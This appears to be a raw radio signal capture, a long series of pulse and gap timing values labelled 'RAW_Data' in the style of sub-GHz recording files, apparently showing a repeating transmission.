-382 103 -336 355 -140 335 -126 93 -3710 133 -352 137 -360 103 -336 371 -106 337 -130 331 -140 361 -106 341 -102 137 -352 353 -92 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 129 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 131 -356 101 -394 105 -336 367 -108 335 -128 319 -126 369 -96 337 -128 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 129 -338 129 -648574 167 -292 153 -360 139 -324 363 -110 353 -104 341 -142 325 -140 305 -132 133 -348 355 -106 347 -104 363 -92 121 -374 101 -370 91 -396 331 -132 103 -356 107 -368 93 -394 101 -362 103 -382 103 -334 355 -140 333 -94 125 -3732 97 -384 101 -360 105 -338 375 -108 337 -128 321 -124 337 -130 337 -128 125 -344 355 -138 335 -94 345 -126 121 -372 101 -366 93 -380 351 -104 141 -362 105 -334 127 -356 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3708 97 -394 101 -358 107 -368 327 -140 337 -126 327 -138 325 -142 341 -100 135 -352 351 -94 365 -104 337 -124 123 -354 137 -334 127 -368 331 -134 101 -358 105 -370 93 -394 101 -360 103 -382 105 -336 353 -140 333 -94 125 -3706 131 -352 103 -394 105 -334 371 -108 337 -128 319 -124 369 -98 337 -128 125 -342 355 -140 335 -94 345 -126 121 -372 103 -366 93 -380 351 -104 141 -362 105 -334 127 -356 95 -370 129 -340 129 -338 349 -122 339 -126 121 -3708 99 -394 101 -358 107 -368 327 -140 335 -126 329 -140 359 -106 343 -102 135 -350 353 -92 365 -104 337 -124 121 -354 139 -334 125 -370 331 -134 101 -358 107 -368 93 -394 101 -362 103 -382 103 -336 353 -140 335 -94 125 -3706 133 -352 103 -394 105 -336 367 -108 337 -128 317 -126 369 -98 337 -128 125 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3702 131 -340 129 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -124 123 -348 347 -132 331 -124 337 -126 121 -340 131 -366 93 -380 349 -104 141 -362 103 -336 127 -358 93 -370 129 -340 129 -340 -RAW_Data: 347 -124 337 -128 121 -3704 133 -358 101 -358 107 -370 327 -142 335 -128 317 -124 369 -98 337 -128 125 -344 355 -140 335 -94 381 -106 105 -348 123 -372 97 -372 347 -92 125 -364 141 -334 125 -354 93 -372 129 -338 129 -340 349 -122 339 -126 121 -3710 97 -394 101 -358 107 -368 327 -142 335 -126 327 -140 361 -106 341 -100 135 -352 353 -94 363 -106 337 -124 121 -356 139 -334 125 -356 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 337 -128 121 -3712 99 -392 103 -358 105 -370 327 -140 335 -94 357 -142 359 -106 341 -102 135 -348 343 -128 337 -128 337 -126 93 -362 125 -340 129 -372 315 -122 123 -358 139 -334 127 -354 95 -370 129 -340 129 -340 347 -124 337 -128 121 -3712 97 -394 103 -358 105 -370 325 -140 335 -126 327 -140 361 -106 341 -100 135 -348 343 -128 337 -128 337 -126 95 -360 127 -338 129 -372 315 -122 125 -358 139 -334 127 -354 93 -372 129 -338 129 -340 349 -122 357 -106 139 -3716 103 -340 137 -334 123 -356 327 -122 385 -104 361 -106 337 -128 319 -124 121 -372 353 -106 345 -104 363 -92 139 -342 127 -360 93 -390 327 -124 119 -350 137 -336 125 -356 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3712 99 -394 101 -358 107 -368 325 -140 335 -96 357 -140 361 -106 343 -100 135 -348 343 -128 337 -128 337 -94 125 -362 125 -340 129 -372 315 -122 123 -358 139 -334 127 -356 93 -370 129 -340 129 -340 347 -124 359 -104 141 -3712 103 -340 137 -334 123 -354 359 -92 383 -106 359 -108 337 -128 319 -124 123 -372 351 -106 345 -104 363 -94 139 -340 129 -358 93 -392 327 -122 121 -348 137 -334 127 -356 93 -370 129 -340 129 -338 347 -124 341 -126 121 -3710 131 -358 103 -358 105 -370 329 -142 335 -128 327 -140 361 -106 341 -102 135 -350 353 -94 363 -106 335 -124 123 -356 139 -334 125 -356 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3704 131 -356 101 -396 105 -334 367 -108 335 -128 317 -126 369 -96 337 -128 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3704 131 -354 103 -394 105 -334 367 -108 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 335 -94 345 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -340 129 -338 349 -122 341 -126 121 -3706 133 -358 101 -358 107 -370 -RAW_Data: 329 -140 337 -126 329 -140 359 -106 343 -100 137 -352 357 -106 345 -104 361 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 125 -3732 97 -348 127 -372 97 -372 315 -124 343 -126 369 -96 339 -128 335 -126 125 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3706 131 -358 103 -358 107 -368 331 -140 337 -128 327 -140 361 -106 343 -100 135 -352 357 -106 345 -102 363 -94 119 -374 101 -370 125 -352 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 335 -94 139 -3716 99 -358 137 -354 105 -336 355 -140 335 -94 359 -138 361 -106 341 -102 135 -350 341 -128 337 -128 337 -126 95 -360 125 -372 97 -372 315 -122 123 -360 139 -334 127 -354 95 -370 129 -340 129 -338 349 -122 357 -140 105 -3716 103 -340 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 347 -126 121 -372 353 -104 347 -104 363 -92 139 -342 127 -360 93 -390 327 -124 119 -350 137 -336 125 -356 93 -372 129 -338 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -394 105 -334 365 -108 337 -126 319 -126 369 -96 337 -128 127 -342 355 -140 335 -94 345 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3708 131 -356 101 -394 105 -336 367 -106 337 -128 317 -126 369 -96 339 -126 127 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -358 141 -336 329 -142 337 -126 329 -140 361 -106 341 -102 133 -352 357 -106 347 -102 363 -94 119 -374 101 -370 125 -352 349 -104 141 -362 105 -336 127 -358 93 -390 101 -358 141 -334 365 -108 337 -126 95 -3714 133 -342 127 -340 129 -340 347 -124 357 -106 357 -108 339 -124 353 -140 107 -360 331 -126 349 -94 357 -138 103 -354 127 -338 129 -340 347 -124 121 -354 139 -334 125 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3704 131 -354 103 -394 105 -336 367 -106 337 -128 319 -124 369 -98 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3706 131 -356 103 -358 141 -336 365 -106 337 -128 327 -140 361 -106 343 -100 135 -352 -RAW_Data: 357 -106 345 -104 363 -92 121 -374 101 -368 125 -366 331 -132 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 353 -140 335 -94 125 -3710 131 -344 127 -340 129 -340 347 -124 355 -140 323 -144 303 -126 351 -140 105 -362 331 -126 351 -94 369 -96 125 -366 129 -332 121 -376 319 -134 139 -362 105 -336 127 -354 95 -370 129 -340 129 -340 347 -124 339 -126 121 -3702 131 -342 127 -340 129 -340 347 -124 339 -126 337 -128 339 -126 337 -126 123 -350 347 -132 331 -124 337 -128 121 -340 131 -366 91 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3708 131 -358 103 -358 105 -370 331 -140 337 -126 329 -140 361 -106 343 -100 135 -352 357 -106 345 -104 363 -92 121 -374 101 -368 93 -384 351 -102 141 -362 105 -336 129 -356 93 -392 101 -358 141 -334 363 -108 337 -128 95 -3714 131 -354 101 -396 105 -334 371 -106 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3710 133 -358 101 -358 107 -370 329 -140 337 -126 329 -140 359 -106 343 -100 135 -352 357 -106 345 -104 363 -94 119 -374 101 -368 125 -366 331 -132 103 -358 105 -370 93 -394 103 -360 101 -384 103 -336 355 -140 333 -94 125 -3740 99 -350 137 -360 105 -336 373 -108 337 -130 319 -126 369 -96 337 -128 127 -342 355 -140 335 -96 345 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 125 -3732 97 -350 125 -372 97 -372 347 -92 375 -94 371 -96 337 -128 337 -126 125 -352 347 -132 331 -122 337 -128 121 -340 131 -368 91 -380 349 -104 141 -362 105 -334 129 -356 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3704 131 -356 101 -396 105 -334 367 -106 339 -128 317 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 131 -356 103 -394 105 -336 365 -108 335 -128 329 -140 359 -106 343 -100 137 -352 357 -106 347 -102 363 -92 121 -374 101 -368 125 -364 331 -132 103 -358 105 -370 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -348 137 -360 105 -370 343 -106 339 -128 321 -124 369 -96 339 -128 125 -342 355 -140 335 -96 347 -124 121 -372 103 -366 93 -382 -RAW_Data: 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3704 133 -354 103 -394 105 -334 369 -106 337 -128 319 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 347 -124 339 -126 123 -3712 99 -394 101 -358 107 -368 327 -142 333 -128 327 -140 361 -106 341 -102 135 -350 341 -128 337 -128 337 -126 95 -366 137 -360 103 -342 353 -126 91 -374 129 -338 129 -340 127 -340 125 -364 139 -334 367 -106 337 -128 95 -3740 99 -384 101 -360 105 -338 375 -108 337 -130 321 -124 369 -96 339 -128 125 -342 355 -140 335 -96 347 -124 121 -372 103 -366 93 -382 351 -102 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3710 131 -358 101 -358 107 -370 329 -142 335 -126 329 -140 361 -106 341 -102 135 -354 353 -92 365 -104 337 -124 121 -356 139 -334 125 -356 351 -102 143 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3708 131 -358 101 -358 143 -334 365 -106 337 -128 329 -140 361 -106 341 -102 135 -350 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -382 103 -360 105 -368 345 -106 339 -128 321 -124 369 -98 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3704 131 -356 101 -396 105 -334 367 -108 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 333 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -372 103 -362 103 -382 103 -336 355 -140 333 -94 125 -3734 99 -380 103 -360 103 -370 347 -106 339 -130 323 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 353 -140 333 -94 127 -3738 99 -348 137 -360 105 -338 375 -106 339 -128 321 -124 369 -98 337 -128 125 -342 357 -140 335 -94 347 -126 121 -372 103 -366 93 -382 349 -104 141 -362 105 -334 129 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3704 131 -352 103 -394 105 -336 369 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 127 -358 93 -370 129 -340 -RAW_Data: 129 -340 347 -124 339 -126 121 -3708 131 -354 103 -394 105 -334 367 -108 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 335 -94 349 -126 121 -372 101 -368 91 -382 351 -102 141 -362 107 -336 127 -356 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3704 131 -344 127 -340 129 -338 349 -122 341 -126 337 -128 337 -128 337 -126 123 -352 347 -132 331 -124 337 -126 123 -370 99 -368 91 -380 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -126 121 -3714 131 -360 101 -358 107 -368 329 -142 335 -128 327 -140 361 -106 343 -100 135 -352 353 -94 365 -104 337 -124 123 -354 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3706 131 -356 101 -396 105 -334 367 -108 337 -128 319 -124 371 -96 337 -128 127 -342 355 -140 335 -94 347 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3710 131 -358 103 -358 105 -370 365 -106 337 -126 319 -124 369 -98 337 -128 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3708 133 -356 103 -358 141 -334 365 -106 337 -128 329 -140 361 -106 341 -102 137 -352 353 -92 363 -106 337 -124 123 -354 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 103 -366 93 -382 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 123 -3706 131 -354 103 -394 105 -336 367 -106 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 335 -96 347 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 127 -374 103 -362 101 -382 105 -336 355 -140 333 -94 125 -3740 97 -350 137 -360 105 -336 377 -106 337 -130 319 -126 369 -96 339 -128 125 -372 327 -140 335 -94 347 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 127 -372 103 -362 103 -382 103 -336 355 -138 335 -94 125 -3738 97 -382 103 -360 103 -370 343 -108 337 -130 323 -124 369 -98 337 -128 125 -372 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -372 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3736 99 -382 103 -360 -RAW_Data: 103 -370 345 -106 339 -128 323 -124 369 -98 337 -128 125 -372 327 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 127 -358 93 -372 127 -340 129 -340 347 -124 339 -126 123 -3708 133 -356 103 -358 141 -334 365 -108 335 -128 329 -140 361 -106 343 -102 135 -350 357 -106 345 -104 363 -92 121 -374 103 -368 125 -364 331 -132 103 -358 107 -368 93 -384 93 -372 129 -340 129 -338 349 -122 339 -126 123 -3700 131 -354 103 -394 105 -334 369 -108 337 -128 319 -124 371 -96 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 349 -122 339 -128 121 -3706 131 -342 127 -340 129 -340 347 -124 339 -126 337 -130 337 -128 337 -124 125 -350 347 -132 331 -124 337 -126 123 -338 133 -366 91 -380 351 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 133 -356 101 -394 105 -336 367 -106 337 -128 329 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -356 93 -392 101 -358 141 -334 367 -108 335 -128 95 -3740 99 -348 137 -360 105 -338 375 -106 339 -128 321 -124 369 -96 369 -96 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 127 -3736 97 -348 127 -372 95 -372 317 -122 345 -126 369 -96 337 -128 337 -126 123 -352 347 -132 331 -124 337 -128 121 -338 133 -366 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3706 133 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 121 -3704 131 -344 127 -340 129 -372 315 -122 341 -128 337 -128 337 -128 337 -126 123 -352 347 -132 331 -122 339 -126 123 -338 133 -366 93 -378 351 -102 141 -362 107 -334 129 -356 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -370 329 -140 337 -128 327 -140 361 -106 341 -102 135 -354 353 -92 365 -104 337 -124 121 -356 139 -334 125 -356 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3708 131 -342 127 -340 129 -340 347 -124 339 -128 337 -128 337 -128 337 -124 -RAW_Data: 125 -350 347 -132 331 -124 337 -126 123 -370 99 -368 91 -382 349 -102 141 -364 103 -336 127 -356 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3708 131 -356 101 -394 107 -334 367 -108 337 -128 319 -124 369 -98 337 -128 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -122 341 -126 123 -3708 133 -356 103 -358 141 -334 365 -108 337 -126 331 -140 361 -106 341 -102 135 -350 357 -106 347 -104 363 -92 121 -374 101 -368 125 -364 331 -134 101 -358 107 -370 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3734 99 -382 101 -362 103 -370 347 -106 339 -130 323 -124 369 -98 337 -128 125 -372 327 -140 335 -126 317 -124 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3708 131 -356 103 -394 105 -336 367 -106 337 -128 329 -140 361 -106 341 -102 135 -352 357 -106 347 -102 365 -92 121 -374 101 -368 125 -366 331 -132 101 -358 107 -370 93 -394 103 -360 103 -382 103 -336 355 -140 333 -94 127 -3710 131 -350 137 -360 105 -336 373 -108 337 -128 321 -126 369 -96 337 -128 127 -340 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3710 131 -358 101 -394 105 -336 365 -106 337 -128 329 -140 361 -106 341 -102 135 -354 357 -106 345 -102 363 -94 121 -372 103 -368 125 -366 331 -132 101 -358 107 -370 93 -382 93 -372 129 -340 129 -338 349 -124 337 -126 123 -3710 99 -392 103 -358 107 -368 327 -142 335 -126 329 -140 359 -106 343 -102 135 -348 343 -128 337 -128 337 -126 95 -360 127 -370 97 -372 315 -124 123 -360 139 -334 127 -354 93 -372 129 -340 129 -338 349 -124 339 -126 121 -3708 131 -354 103 -394 105 -334 369 -106 339 -128 317 -126 369 -96 339 -128 125 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -368 365 -106 337 -128 329 -140 361 -106 341 -102 135 -352 357 -106 347 -102 363 -92 121 -374 101 -370 123 -366 331 -132 103 -358 107 -368 93 -394 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3742 99 -348 137 -360 105 -338 375 -106 339 -128 321 -124 369 -98 337 -128 125 -342 357 -140 333 -128 315 -126 121 -372 101 -368 -RAW_Data: 91 -384 351 -102 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -346 127 -372 97 -370 317 -124 343 -126 369 -96 339 -126 337 -126 125 -352 347 -132 331 -122 339 -126 121 -372 101 -366 93 -380 349 -104 141 -362 105 -334 129 -354 93 -372 129 -340 129 -338 349 -122 341 -126 121 -3712 131 -358 101 -358 143 -334 365 -106 337 -128 329 -140 361 -106 343 -100 135 -352 355 -106 347 -102 365 -92 121 -374 101 -368 125 -366 331 -134 101 -358 107 -368 93 -394 103 -360 103 -384 103 -336 355 -140 333 -94 127 -3734 97 -350 127 -370 97 -372 347 -92 375 -96 369 -96 337 -128 337 -126 123 -354 347 -132 331 -124 337 -128 121 -340 131 -368 91 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -126 319 -126 369 -96 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 129 -358 93 -370 129 -340 129 -338 349 -124 339 -126 121 -3712 131 -358 103 -358 107 -370 329 -142 335 -128 329 -140 359 -106 343 -100 135 -352 353 -94 363 -106 337 -124 123 -356 137 -336 125 -356 351 -102 143 -362 105 -336 127 -358 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3710 131 -354 103 -394 105 -334 367 -108 337 -128 319 -124 369 -98 337 -128 125 -374 325 -140 335 -126 315 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 349 -122 341 -126 121 -3712 131 -358 103 -358 107 -370 329 -140 337 -128 327 -140 361 -106 343 -100 137 -352 353 -94 363 -104 339 -124 121 -356 139 -334 127 -354 351 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3704 131 -344 127 -340 129 -372 315 -124 341 -126 337 -128 337 -128 337 -126 123 -352 347 -132 331 -124 337 -128 121 -370 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3716 99 -392 103 -358 105 -370 327 -140 337 -126 329 -140 361 -106 341 -102 135 -348 341 -128 337 -128 337 -126 95 -356 127 -370 97 -372 347 -92 125 -364 139 -336 127 -368 103 -360 103 -382 105 -336 355 -140 333 -96 125 -3710 129 -346 127 -372 97 -372 315 -122 353 -140 359 -108 337 -94 357 -140 107 -342 353 -140 333 -94 347 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -334 129 -356 93 -372 -RAW_Data: 129 -338 129 -340 347 -124 339 -128 121 -3710 131 -354 103 -394 105 -334 369 -106 337 -128 329 -140 361 -106 343 -102 135 -352 357 -106 347 -102 363 -94 121 -372 103 -368 125 -364 331 -132 103 -358 107 -370 91 -396 101 -360 103 -384 105 -336 353 -140 333 -94 127 -3734 99 -380 103 -360 105 -370 345 -106 339 -130 355 -94 369 -96 369 -96 127 -370 327 -142 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -370 317 -122 341 -126 121 -3710 131 -356 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 337 -128 127 -372 325 -142 333 -128 315 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -358 91 -372 129 -338 129 -340 347 -124 339 -126 121 -3712 131 -358 103 -358 141 -334 365 -108 337 -126 319 -126 369 -96 337 -128 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 93 -380 351 -104 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 355 -140 333 -94 125 -3738 99 -380 103 -360 103 -370 347 -106 337 -130 323 -124 369 -98 337 -128 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 127 -340 129 -340 347 -124 341 -126 121 -3708 131 -354 103 -394 105 -336 367 -108 337 -128 319 -124 369 -98 337 -128 125 -374 325 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -126 121 -3704 131 -344 129 -338 129 -340 347 -122 343 -126 337 -130 337 -128 337 -126 123 -352 349 -132 331 -124 337 -128 91 -402 101 -364 93 -380 319 -134 105 -398 105 -334 127 -358 93 -372 127 -340 129 -372 317 -124 339 -128 121 -3704 133 -354 103 -394 105 -336 367 -106 337 -128 319 -124 369 -96 339 -128 125 -372 325 -140 335 -128 317 -124 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -372 105 -360 103 -382 105 -336 355 -140 333 -94 125 -3734 99 -378 103 -360 105 -370 347 -108 339 -130 323 -124 369 -98 337 -128 127 -372 325 -140 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -358 95 -370 129 -340 129 -340 347 -124 339 -128 121 -3706 131 -354 101 -396 105 -334 369 -106 339 -128 331 -140 361 -106 341 -102 133 -352 355 -106 347 -138 329 -124 91 -374 101 -370 91 -398 331 -132 103 -358 105 -370 93 -384 93 -372 97 -372 129 -340 347 -124 339 -126 123 -3702 131 -344 -RAW_Data: 127 -340 129 -338 349 -122 339 -128 337 -128 339 -126 337 -126 123 -350 347 -132 333 -122 337 -128 121 -340 131 -368 91 -380 349 -102 141 -364 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3704 133 -352 135 -360 105 -336 373 -106 339 -128 351 -94 369 -96 339 -128 125 -342 355 -140 335 -94 349 -126 121 -372 101 -368 93 -382 349 -104 141 -364 103 -336 129 -372 103 -362 103 -382 105 -336 353 -140 333 -94 127 -3710 131 -344 127 -340 129 -372 315 -124 351 -140 361 -106 337 -96 355 -140 107 -342 353 -140 333 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3702 131 -346 127 -338 131 -370 315 -124 341 -128 369 -96 337 -128 337 -126 125 -350 347 -132 333 -122 337 -128 121 -340 133 -366 91 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 121 -3710 129 -356 103 -394 105 -334 369 -106 339 -128 319 -126 369 -96 337 -128 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 127 -374 103 -360 103 -382 105 -336 353 -140 333 -94 127 -3708 131 -352 135 -360 105 -338 373 -108 337 -130 331 -140 361 -106 341 -102 137 -352 357 -106 345 -102 365 -92 121 -372 103 -368 125 -366 331 -132 103 -358 107 -370 91 -394 103 -360 103 -384 105 -336 353 -140 335 -92 127 -3736 97 -348 127 -372 95 -372 347 -92 377 -94 369 -98 337 -128 337 -126 123 -354 347 -132 331 -124 337 -128 121 -338 133 -366 91 -380 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3712 131 -358 103 -358 141 -334 365 -106 337 -128 329 -140 361 -104 343 -102 135 -354 357 -106 345 -102 363 -92 121 -374 103 -368 125 -366 331 -132 103 -358 107 -368 93 -394 103 -360 103 -384 105 -336 353 -140 333 -94 127 -3736 99 -380 103 -360 103 -370 347 -106 339 -130 353 -94 369 -98 369 -96 125 -372 327 -140 335 -126 317 -126 121 -372 101 -366 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 127 -340 129 -372 315 -122 341 -126 123 -3714 131 -358 103 -358 107 -368 329 -142 337 -126 329 -140 361 -106 341 -102 137 -352 357 -106 345 -102 363 -94 119 -374 103 -368 125 -366 331 -132 103 -358 107 -370 93 -392 103 -362 103 -382 105 -336 353 -140 335 -94 125 -3736 99 -348 125 -372 97 -372 347 -92 375 -94 371 -96 337 -128 -RAW_Data: 337 -126 125 -352 347 -132 333 -122 337 -128 121 -340 131 -366 93 -380 349 -104 141 -362 105 -336 127 -372 105 -360 103 -384 103 -336 353 -140 335 -94 125 -3742 99 -352 135 -360 105 -338 373 -106 337 -128 353 -92 371 -96 369 -96 127 -370 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -122 343 -126 121 -3704 133 -350 137 -360 105 -336 373 -106 339 -128 351 -94 369 -96 339 -128 125 -372 325 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -122 343 -126 121 -3708 131 -356 101 -396 105 -334 369 -106 337 -130 319 -126 369 -96 337 -128 127 -340 357 -140 335 -94 349 -124 121 -372 101 -368 93 -382 351 -104 141 -362 105 -334 129 -358 93 -370 129 -338 129 -340 347 -124 341 -126 121 -3704 131 -344 127 -372 97 -372 315 -124 373 -94 369 -98 337 -128 337 -126 125 -352 347 -132 331 -122 337 -128 121 -372 101 -366 91 -380 351 -102 141 -362 105 -336 127 -358 93 -370 129 -340 129 -340 347 -124 339 -128 121 -3708 129 -354 103 -394 105 -336 369 -108 337 -128 319 -126 369 -96 339 -128 125 -342 357 -140 335 -94 347 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 127 -372 105 -360 103 -384 103 -336 355 -140 333 -94 125 -3738 99 -382 103 -360 105 -368 345 -106 337 